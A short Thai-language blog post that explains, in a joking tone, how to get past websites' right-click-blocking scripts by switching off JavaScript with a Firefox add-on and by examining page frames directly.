แต่!!! ก็ปลดได้แค่ง่ายๆ แบบ http://www.geocities.com/akkradet1/javax9.htm ก็ปลดได้ง่ายๆ

เพียงแต่ว่า บางตัวปลดล็อคไม่ได้
http://www.dynamicdrive.com/dynamicindex9/noright3.htm
http://www.dynamicdrive.com/dynamicindex9/noright.htm

ทำไงดี อืม https://addons.mozilla.org/firefox/60/
โหลดมาซะ แล้วกด disable>disable javascript ปิดไปเลย 555555555555555+

ส่วนเฟรมก็แกะไล่ไปดู ถ้ามันล็อคเข้าแล้วกลับหน้าแรก(เว็บผู้จัดการก็เป็น)ก็ปิดซะ ใช้ได้แล้วง่ายๆ




ไม่มีความคิดเห็น:

แสดงความคิดเห็น